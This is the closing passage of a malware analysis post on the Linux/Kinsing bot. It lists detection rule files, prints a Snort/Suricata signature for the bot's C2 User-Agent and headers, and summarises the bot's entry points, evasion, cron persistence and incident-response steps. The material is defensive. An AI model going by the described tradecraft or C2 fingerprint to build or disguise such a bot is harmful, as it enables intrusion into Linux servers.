sigma/*.yml (6 rules)Sigmaminer drop-and-run by the bot, process paths, file artifacts, security tool tampering, cron download-to-shell, C2 User-Agent in proxy logs
snort/MMD_kinsing.rulesSnort 2.9C2 callback headers, /mg /ms /get, script and bot downloads, stratum login on tcp/80
suricata/MMD_kinsing.rulesSuricata 6/7same logic with sticky buffers
osquery/MMD_kinsing_hunt.confosquery packtemp/deleted processes, work dir, cron, preload, backdoor listeners, SSH fan-out
stix/MMD_kinsing_iocs_stix21.jsonSTIX 2.1machine-readable IOCs, malware and relationships (indicators are not masked in this file)

Example: the network rule that survived from v28 to v31, because the bot's header set never changed:

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"MMD Linux/Kinsing bot C2 callback headers"; flow:established,to_server; http.user_agent; content:"Chrome/78.0.3904.108"; http.header; content:"Arch|3a 20|"; content:"Cores|3a 20|"; content:"Uuid|3a 20|"; content:"Version|3a 20|"; classtype:trojan-activity; sid:1972001; rev:1;)
[EDU] What to learn here
  • Layer the detections: hashes (easy to change) → host artifacts → network fingerprint → behaviour. The higher layers survive new builds.
  • Publish detections with the evidence behind them; analysts trust rules they can trace back to an artifact.

《 30. Summary for responders 》

Linux/Kinsing is a Go-written Linux bot with remote command execution, a SOCKS proxy, an on-demand backdoor, self-update, mass-scanning, Redis AUTH brute-forcing and worm-like spreading that abuses SSH keys. The Monero miner, the installer/uninstaller scripts and the cron scheduler are only companions; the real threat is the bot itself.

  • Entry points: Redis with weak authentication, Docker APIs exposed to the internet, SSH keys without a passphrase, and known vulnerabilities.
  • Defense evasion: syslog deleted; firewall, SELinux and AppArmor disabled; cloud security agents removed; competing miners stopped.
  • Persistence: a cron entry that downloads and runs a script every minute.
  • C2: HTTP on TCP/80 with a fixed Chrome 78 User-Agent and custom headers (Arch/Cores/Uuid/Version and more). Tasks are RSA-encrypted, and the same key is reused in v28 and v31.
  • Added in this post: static analysis of build a71ad3, the one spr.sh installs (SHA-256, Go module list, function list, pkger-embedded data, wallet), and the analysis of v31 "Dev 2066".

Incident response key points: first preserve memory and /proc without killing the bot, freeze it with SIGSTOP, then remove the cron entries, binaries and work directories, and rotate every SSH key on the host. Hosts listed in known_hosts and bash_history are the next likely victims. For YARA / Sigma / Snort / Suricata / osquery / STIX detection content, see the detection content chapter.

Read & use this knowledge with caution, this post is a Linux threat analysis education material

《 31. Epilogue 》

To wrap up: kinsing is not just a miner dropper. It is a full Go-written bot with encrypted C2 tasking, a remote shell, a SOCKS proxy, an on-demand backdoor, a self-updater, SSH-key based lateral movement, mass-scanning, Redis AUTH brute-forcing, and an aggressive killer of competing miners and of cloud security agents. One weak Redis or one leaked key is enough to start the chain, and the worm stage does the rest.

If you are a student, try to reproduce the reversing of a Go ELF yourself with radare2 in a safe, isolated environment and compare your results with these notes. If you are a defender, take the detection checklist and check your Linux fleet.

Read & use this knowledge with caution, this post is a Linux threat analysis education material
-----

@unixfreaxjp, malwaremustdie.org